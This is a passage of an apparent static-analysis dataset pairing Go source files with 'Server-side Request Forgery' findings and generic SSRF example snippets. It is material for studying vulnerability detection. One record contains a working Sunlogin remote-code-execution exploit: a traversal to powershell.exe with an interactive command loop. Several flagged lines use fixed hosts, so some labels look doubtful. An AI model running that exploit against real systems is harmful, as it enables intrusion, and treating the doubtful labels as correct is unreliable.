"7d38f0df8428e3fa9cc163b58a8ceff94c32c6460308ed2ae920db3c70039f83", "license": {"spdx": ["Apache-2.0", "CC-BY-4.0"], "repo": "o-ran-sc/ric-plt-xapp-frame", "path": "pkg/xapp/restapi.go", "repo_head_hexsha": "a6136936d294f29285d08f6a834fda6aca403c67", "stack_hexsha": "205f5f6f8a6c50120ba29d90bdf2a5548b4f8cdb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 203, "entireCode": "/*\n==================================================================================\n Copyright (c) 2019 AT&T Intellectual Property.\n Copyright (c) 2019 Nokia\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n==================================================================================\n*/\n\npackage xapp\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/spf13/viper\"\n\n\t\"gerrit.o-ran-sc.org/r/ric-plt/xapp-frame/pkg/models\"\n)\n\nconst (\n\tReadyURL = \"/ric/v1/health/ready\"\n\tAliveURL = \"/ric/v1/health/alive\"\n\tConfigURL = \"/ric/v1/cm/{name}\"\n\tAppConfigURL = \"/ric/v1/config\"\n)\n\nvar (\n\thealthReady bool\n)\n\ntype StatusCb func() bool\n\ntype Router struct {\n\trouter *mux.Router\n\tcbMap []StatusCb\n}\n\nfunc NewRouter() *Router {\n\tr := &Router{\n\t\trouter: mux.NewRouter().StrictSlash(true),\n\t\tcbMap: make([]StatusCb, 0),\n\t}\n\n\t// Inject default routes for health probes\n\tr.InjectRoute(ReadyURL, readyHandler, \"GET\")\n\tr.InjectRoute(AliveURL, aliveHandler, \"GET\")\n\tr.InjectRoute(ConfigURL, configHandler, \"POST\")\n\tr.InjectRoute(AppConfigURL, appconfigHandler, \"GET\")\n\n\treturn r\n}\n\nfunc (r *Router) serviceChecker(inner http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tLogger.Info(\"restapi: method=%s url=%s\", req.Method, req.URL.RequestURI())\n\t\tif req.URL.RequestURI() == AliveURL || r.CheckStatus() {\n\t\t\tinner.ServeHTTP(w, req)\n\t\t} else {\n\t\t\trespondWithJSON(w, http.StatusServiceUnavailable, nil)\n\t\t}\n\t})\n}\n\nfunc (r *Router) InjectRoute(url string, handler http.HandlerFunc, method string) *mux.Route {\n\treturn r.router.Path(url).HandlerFunc(r.serviceChecker(handler)).Methods(method)\n}\n\nfunc (r *Router) InjectQueryRoute(url string, h http.HandlerFunc, m string, q ...string) *mux.Route {\n\treturn r.router.Path(url).HandlerFunc(r.serviceChecker(h)).Methods(m).Queries(q...)\n}\n\nfunc (r *Router) InjectRoutePrefix(prefix string, handler http.HandlerFunc) *mux.Route {\n\treturn r.router.PathPrefix(prefix).HandlerFunc(r.serviceChecker(handler))\n}\n\nfunc (r *Router) InjectStatusCb(f StatusCb) {\n\tr.cbMap = append(r.cbMap, f)\n}\n\nfunc (r *Router) CheckStatus() (status bool) {\n\tif len(r.cbMap) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, f := range r.cbMap {\n\t\tstatus = f()\n\t}\n\treturn\n}\n\nfunc (r *Router) GetSymptomDataParams(w http.ResponseWriter, req *http.Request) SymptomDataParams {\n\tLogger.Info(\"GetSymptomDataParams ...\")\n\n\tparams := SymptomDataParams{}\n\tqueryParams := req.URL.Query()\n\n\tLogger.Info(\"GetSymptomDataParams: %+v\", queryParams)\n\n\tfor p := range queryParams {\n\t\tif p == \"timeout\" {\n\t\t\tfmt.Sscanf(p, \"%d\", ¶ms.Timeout)\n\t\t}\n\t\tif p == \"fromtime\" {\n\t\t\tfmt.Sscanf(p, \"%d\", ¶ms.FromTime)\n\t\t}\n\t\tif p == \"totime\" {\n\t\t\tfmt.Sscanf(p, \"%d\", ¶ms.ToTime)\n\t\t}\n\t}\n\treturn params\n}\n\nfunc (r *Router) CollectDefaultSymptomData(fileName string, data interface{}) string {\n\tbaseDir := Config.GetString(\"controls.symptomdata.baseDir\")\n\tif baseDir == \"\" {\n\t\tbaseDir = \"/tmp/xapp/\"\n\t}\n\n\tif err := Util.CreateDir(baseDir); err != nil {\n\t\tLogger.Error(\"CreateDir failed: %v\", err)\n\t\treturn \"\"\n\t}\n\n\tif metrics, err := r.GetLocalMetrics(GetPortData(\"http\").Port); err == nil {\n\t\tif err := Util.WriteToFile(baseDir+\"metrics.json\", metrics); err != nil {\n\t\t\tLogger.Error(\"writeToFile failed for metrics.json: %v\", err)\n\t\t}\n\t}\n\n\tif data != nil {\n\t\tif b, err := json.MarshalIndent(data, \"\", \" \"); err == nil {\n\t\t\tUtil.WriteToFile(baseDir+fileName, string(b))\n\t\t}\n\t}\n\n\trtPath := os.Getenv(\"RMR_STASH_RT\")\n\tif rtPath == \"\" {\n\t\treturn baseDir\n\t}\n\n\tinput, err := ioutil.ReadFile(rtPath)\n\tif err != nil {\n\t\tLogger.Error(\"ioutil.ReadFile failed: %v\", err)\n\t\treturn baseDir\n\t}\n\n\tUtil.WriteToFile(baseDir+\"rttable.txt\", string(input))\n\treturn baseDir\n}\n\nfunc (r *Router) SendSymptomDataJson(w http.ResponseWriter, req *http.Request, data interface{}, n string) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=\"+n)\n\tw.WriteHeader(http.StatusOK)\n\tif data != nil {\n\t\tresponse, _ := json.MarshalIndent(data, \"\", \" \")\n\t\tw.Write(response)\n\t}\n}\n\nfunc (r *Router) SendSymptomDataFile(w http.ResponseWriter, req *http.Request, baseDir, zipFile string) {\n\t// Compress and reply with attachment\n\ttmpFile, err := ioutil.TempFile(\"\", \"symptom\")\n\tif err != nil {\n\t\tr.SendSymptomDataError(w, req, \"Failed to create a tmp file: \"+err.Error())\n\t\treturn\n\t}\n\tdefer os.Remove(tmpFile.Name())\n\n\tvar fileList []string\n\tfileList = Util.FetchFiles(baseDir, fileList)\n\terr = Util.ZipFiles(tmpFile, baseDir, fileList)\n\tif err != nil {\n\t\tr.SendSymptomDataError(w, req, \"Failed to zip the files: \"+err.Error())\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=\"+zipFile)\n\thttp.ServeFile(w, req, tmpFile.Name())\n}\n\nfunc (r *Router) SendSymptomDataError(w http.ResponseWriter, req *http.Request, message string) {\n\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=error_status.txt\")\n\thttp.Error(w, message, http.StatusInternalServerError)\n}\n\nfunc (r *Router) GetLocalMetrics(port int) (string, error) {\n\tresp, err := http.Get(fmt.Sprintf(\"http://localhost:%d/ric/v1/metrics\", port))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tmetrics, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(metrics), nil\n}\n\nfunc IsHealthProbeReady() bool {\n\treturn healthReady\n}\n\nfunc readyHandler(w http.ResponseWriter, r *http.Request) {\n\thealthReady = true\n\trespondWithJSON(w, http.StatusOK, nil)\n}\n\nfunc aliveHandler(w http.ResponseWriter, r *http.Request) {\n\trespondWithJSON(w, http.StatusOK, nil)\n}\n\nfunc configHandler(w http.ResponseWriter, r *http.Request) {\n\txappName := mux.Vars(r)[\"name\"]\n\tif xappName == \"\" || r.Body == nil {\n\t\trespondWithJSON(w, http.StatusBadRequest, nil)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tLogger.Error(\"ioutil.ReadAll failed: %v\", err)\n\t\trespondWithJSON(w, http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\n\tif err := PublishConfigChange(xappName, string(body)); err != nil {\n\t\trespondWithJSON(w, http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\n\trespondWithJSON(w, http.StatusOK, nil)\n}\n\nfunc respondWithJSON(w http.ResponseWriter, code int, payload interface{}) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\tif payload != nil {\n\t\tresponse, _ := json.Marshal(payload)\n\t\tw.Write(response)\n\t}\n}\n\nfunc appconfigHandler(w http.ResponseWriter, r *http.Request) {\n\n\tLogger.Info(\"Inside appconfigHandler\")\n\n\tvar appconfig models.XappConfigList\n\tvar metadata models.ConfigMetadata\n\tvar xappconfig models.XAppConfig\n\tname := viper.GetString(\"name\")\n\tconfigtype := \"json\"\n\tmetadata.XappName = &name\n\tmetadata.ConfigType = &configtype\n\n\tconfigFile, err := os.Open(\"/opt/ric/config/config-file.json\")\n\tif err != nil {\n\t\tLogger.Error(\"Cannot open config file: %v\", err)\n\t\trespondWithJSON(w, http.StatusInternalServerError, nil)\n\t\t// return nil,errors.New(\"Could Not parse the config file\")\n\t}\n\n\tbody, err := ioutil.ReadAll(configFile)\n\n\tdefer configFile.Close()\n\n\txappconfig.Metadata = &metadata\n\txappconfig.Config = string(body)\n\n\tappconfig = append(appconfig, &xappconfig)\n\n\trespondWithJSON(w, http.StatusOK, appconfig)\n\n\t//return appconfig,nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 203, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 203, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "1e503e938d484400ba5fe34c851e957b9f3a7950deec605b74f57a4068aebcd8", "license": {"spdx": ["MIT"], "repo": "Aiicy/AiicyBot", "path": "vendor/github.com/mlabouardy/moviedb/moviedb.go", "repo_head_hexsha": "3c55fb0a4112907cfab417b43091d59daae8f17e", "stack_hexsha": "77756c84b0439156cc9a47f0e66a2c37037fe09e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 36, "entireCode": "package moviedb\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"golang.org/x/net/html\"\n)\n\nconst (\n\tURL = \"https://www.themoviedb.org/%s/%s\"\n\tIMG_TAG = \"img\"\n\tCLASS_ATTRIBUTE = \"class\"\n\tITEM_CLASS = \"poster lazyload fade\"\n)\n\ntype Show struct {\n\tCover string\n\tTitle string\n}\n\ntype MovieDB struct {\n\tclient *http.Client\n}\n\nfunc NewMovieDB() *MovieDB {\n\treturn &MovieDB{\n\t\tclient: &http.Client{},\n\t}\n}\n\nfunc (m MovieDB) fetchShows(showType string, baseURL string) []Show {\n\turl := fmt.Sprintf(URL, showType, baseURL)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tresp, err := m.client.Do(req)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer resp.Body.Close()\n\n\treturn crawl(resp.Body)\n}\n\nfunc (m MovieDB) GetPopularMovies() []Show {\n\treturn m.fetchShows(\"movie\", \"\")\n}\n\nfunc (m MovieDB) GetUpcomingMovies() []Show {\n\treturn m.fetchShows(\"movie\", \"upcoming\")\n}\n\nfunc (m MovieDB) GetTopRatedMovies() []Show {\n\treturn m.fetchShows(\"movie\", \"top-rated\")\n}\n\nfunc (m MovieDB) GetNowPlayingMovies() []Show {\n\treturn m.fetchShows(\"movie\", \"now-playing\")\n}\n\nfunc (m MovieDB) GetPopularTVShows() []Show {\n\treturn m.fetchShows(\"tv\", \"\")\n}\n\nfunc (m MovieDB) GetTopRatedShows() []Show {\n\treturn m.fetchShows(\"tv\", \"top-rated\")\n}\n\nfunc (m MovieDB) GetOnTVShows() []Show {\n\treturn m.fetchShows(\"tv\", \"on-the-air\")\n}\n\nfunc (m MovieDB) GetAiringTodayShows() []Show {\n\treturn m.fetchShows(\"tv\", \"airing-today\")\n}\n\nfunc crawl(body io.Reader) []Show {\n\tshows := make([]Show, 0)\n\ttokenizer := html.NewTokenizer(body)\n\tfor {\n\t\ttoken := tokenizer.Next()\n\t\tswitch token {\n\t\tcase html.ErrorToken:\n\t\t\treturn shows\n\t\tcase html.StartTagToken:\n\t\t\tt := tokenizer.Token()\n\t\t\tif t.Data == IMG_TAG {\n\t\t\t\tfor _, attr := range t.Attr {\n\t\t\t\t\tif attr.Key == CLASS_ATTRIBUTE && attr.Val == ITEM_CLASS {\n\t\t\t\t\t\tshow := Show{\n\t\t\t\t\t\t\tCover: t.Attr[2].Val,\n\t\t\t\t\t\t\tTitle: t.Attr[4].Val,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tshows = append(shows, show)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 36, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "576b9ff1ff9baafba7d811af1dbd72d49a52ecf862f678a547a66deaa47a6e1c", "license": {"spdx": ["MIT"], "repo": "xfinite-io/indexer", "path": "utils/kms.go", "repo_head_hexsha": "6dfb66f6e7d40e1b50f8a02eebeeeda7dadfa2c1", "stack_hexsha": "54728fc9999b3e08811b34c60a574dbe23a17832", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 36, "entireCode": "package utils\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nvar HttpClient = &http.Client{}\n\n//SecretResponse is a type of secret response\ntype SecretResponse struct {\n\tData string `json:\"data\"`\n}\n\nvar ErrKeyNotFound error = errors.New(\"KEY_NOT_FOUND\")\nvar ErrDecodeErr error = errors.New(\"ERROR_DECODING\")\nvar ErrSetSecret = errors.New(\"CANT_SET_SECRET\")\n\n//SetSecret Request\ntype SetSecretRequest struct{\n\tBlockchain string `json:\"blockchain\"`\n\tKey string `json:\"key\"`\n\tSecret string `json:\"secret\"`\n}\n\n\n//GetSecret gets the secret of the user which is asked\nfunc GetSecret( blockchain string, key string)( *SecretResponse, error ){\n\t//KMS HOST\n\tvar kmsHost = os.Getenv(\"KMS_HOST\")\n\tres, err := http.Get( fmt.Sprintf(kmsHost+\"/secret?blockchain=%s&key=%s\",blockchain,key) )\n\tif err != nil {\n\t\treturn &SecretResponse{}, ErrKeyNotFound\n\t}\n\tdefer res.Body.Close()\n\tvar secretresp SecretResponse\n\tif err := json.NewDecoder(res.Body).Decode(&secretresp); err!=nil{\n\t\treturn &SecretResponse{}, ErrDecodeErr\n\t}\n\treturn &secretresp,nil\n}\n\n////SetSecret sets the secret of the user which is asked\nfunc SetSecret( blockchain string, key string, secret string )(bool, error){\n\t//KMS HOST\n\tvar kmsHost = os.Getenv(\"KMS_HOST\")\n\tsetData := SetSecretRequest{\n\t\tBlockchain: blockchain,\n\t\tKey: key,\n\t\tSecret: secret,\n\t}\n\tbyte,_ := json.Marshal(setData)\n\treq, err := http.NewRequest(http.MethodPost, fmt.Sprintf(kmsHost+\"/secret\"), bytes.NewBuffer(byte))\n\tif err != nil{\n\t\treturn false, ErrSetSecret\n\t}\n\tresp, err := HttpClient.Do(req)\n\tif err != nil{\n\t\tlog.Fatalf(\"Error %s\\n\", err )\n\t\treturn false, err\n\t}\n\tdefer resp.Body.Close()\n\treturn true, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 36, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "165827e9d22adf2a159a91da449bd56ecb633d290451f41cb0e0d471aae4fc8f", "license": {"spdx": ["MIT"], "repo": "Mu-L/zscan", "path": "cmd/sunloginrce.go", "repo_head_hexsha": "bb9016c39fca2d59eb69c96e4cd52db872ff74a4", "stack_hexsha": "6e35fd86baf9346e239dddada47eef22ecabc510", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 73, "entireCode": "\npackage cmd\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"golang.org/x/text/encoding/simplifiedchinese\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nvar sunLoginRecPort int\n\nvar sunloginrceCmd = &cobra.Command{\n\tUse: \"sunlogin\",\n\tShort: \"sunlogin RCE CNVD-2022-10270\",\n\tRun: func(cmd *cobra.Command, args []string) {\n\t\tsunloginRCE()\n\t},\n}\n\nfunc sunloginRCE() {\n\tif Hosts!=\"\"&&sunLoginRecPort!=0{\n\t\treader:=bufio.NewReader(os.Stdin)\n\t\taddr:=fmt.Sprintf(\"%v:%v\",Hosts,sunLoginRecPort)\n\t\tverify:=GetVerify(addr)\n\t\tif Command!=\"\"{\n\t\t\tfmt.Println(LightGreen(RunCmd(Command,addr,verify)))\n\t\t}else {\n\t\t\tfor {\n\t\t\t\tvar cmd string\n\t\t\t\tfmt.Printf(Yellow(\"\\r\\n#>\"))\n\t\t\t\tcmd,_=reader.ReadString('\\n')\n\t\t\t\tcmd=strings.TrimSpace(cmd)\n\t\t\t\tif cmd==\"exit\"{\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tfmt.Println(RunCmd(cmd,addr,verify))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t}else {\n\t\tfmt.Println(Red(\"Please set -H or -p\"))\n\t\treturn\n\t}\n}\n\nfunc GetVerify(addr string) string { //获取Verify认证\n\tresp, err := Client.Get(\"http://\" + addr + \"/cgi-bin/rpc?action=verify-haras\")\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tb,_ := io.ReadAll(resp.Body)\n\treg:=regexp.MustCompile(`\"verify_string\":\"(.*?)\"`)\n\tresult:=reg.FindAllSubmatch(b,1)\n\tif len(result)>0{\n\t\tif len(result[0])==2{\n\t\t\treturn string(result[0][1])\n\t\t}\n\t}\n\treturn \"\"\n}\nfunc RunCmd(cmd string,addr string,verify string) string {\n\thttpheader:=http.Header{}\n\tcmd = url.QueryEscape(cmd)\n\ttarget:=\"http://\" + addr+ `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd\n\treq,err:=http.NewRequest(\"GET\",target,nil)\n\tif err!=nil{\n\t\tfmt.Println(err)\n\t}\n\treq.Header=httpheader\n\thttpheader.Add(\"Cookie\",\"CID=\"+verify)\n\tresp,_:=Client.Do(req)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn \"\"\n\t}\n\tstr ,_:= io.ReadAll(resp.Body)\n\tstr, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)\n\t//fmt.Println(string(str))\n\treturn string(str)\n}\n\nfunc init() {\n\texploitCmd.AddCommand(sunloginrceCmd)\n\tsunloginrceCmd.Flags().StringVarP(&Hosts,\"host\",\"H\",\"\",\"Set redis server host\")\n\tsunloginrceCmd.Flags().IntVarP(&sunLoginRecPort,\"port\",\"p\",0,\"Set RCE port\")\n\tsunloginrceCmd.Flags().StringVarP(&Command,\"command\",\"c\",\"\",\"command you want to execute\")\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "QueryEscape"}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 72, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 73, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "c816968933c163f98839d62b06ba7d7c1b70dbacb0e6753ccb758855b1f7e1b1", "license": {"spdx": ["Apache-2.0"], "repo": "itchyny/mackerel-client-go", "path": "role_metadata.go", "repo_head_hexsha": "88aab7814c9eb5776d62bd4a992cc9274ce2d3ad", "stack_hexsha": "47b4b0b2882748b45eef37069144ac5d5f6a9260", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 24, "entireCode": "package mackerel\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n)\n\n// https://mackerel.io/ja/api-docs/entry/metadata\n\n// RoleMetaDataResp represents response for role metadata.\ntype RoleMetaDataResp struct {\n\tRoleMetaData RoleMetaData\n\tLastModified time.Time\n}\n\n// RoleMetaData represents role metadata body.\ntype RoleMetaData interface{}\n\n// GetRoleMetaData find role metadata.\nfunc (c *Client) GetRoleMetaData(serviceName, roleName, namespace string) (*RoleMetaDataResp, error) {\n\turl := c.urlFor(fmt.Sprintf(\"/api/v0/services/%s/roles/%s/metadata/%s\", serviceName, roleName, namespace))\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := c.Request(req)\n\tdefer closeResponse(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar data RoleMetaDataResp\n\tif err := json.NewDecoder(resp.Body).Decode(&data.RoleMetaData); err != nil {\n\t\treturn nil, err\n\t}\n\tdata.LastModified, err = http.ParseTime(resp.Header.Get(\"Last-Modified\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &data, nil\n}\n\n// GetRoleMetaDataNameSpaces fetches namespaces of role metadata.\nfunc (c *Client) GetRoleMetaDataNameSpaces(serviceName, roleName string) ([]string, error) {\n\turl := c.urlFor(fmt.Sprintf(\"/api/v0/services/%s/roles/%s/metadata\", serviceName, roleName))\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := c.Request(req)\n\tdefer closeResponse(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar data struct {\n\t\tMetaDatas []struct {\n\t\t\tNameSpace string `json:\"namespace\"`\n\t\t} `json:\"metadata\"`\n\t}\n\tif err := json.NewDecoder(resp.Body).Decode(&data); err != nil {\n\t\treturn nil, err\n\t}\n\tnamespaces := make([]string, 0, len(data.MetaDatas))\n\tfor _, metadata := range data.MetaDatas {\n\t\tnamespaces = append(namespaces, metadata.NameSpace)\n\t}\n\treturn namespaces, nil\n}\n\n// PutRoleMetaData put role metadata.\nfunc (c *Client) PutRoleMetaData(serviceName, roleName, namespace string, metadata RoleMetaData) error {\n\tpath := fmt.Sprintf(\"/api/v0/services/%s/roles/%s/metadata/%s\", serviceName, roleName, namespace)\n\tresp, err := c.PutJSON(path, metadata)\n\tdefer closeResponse(resp)\n\treturn err\n}\n\n// DeleteRoleMetaData delete role metadata.\nfunc (c *Client) DeleteRoleMetaData(serviceName, roleName, namespace string) error {\n\treq, err := http.NewRequest(\n\t\t\"DELETE\",\n\t\tc.urlFor(fmt.Sprintf(\"/api/v0/services/%s/roles/%s/metadata/%s\", serviceName, roleName, namespace)).String(),\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\n\tresp, err := 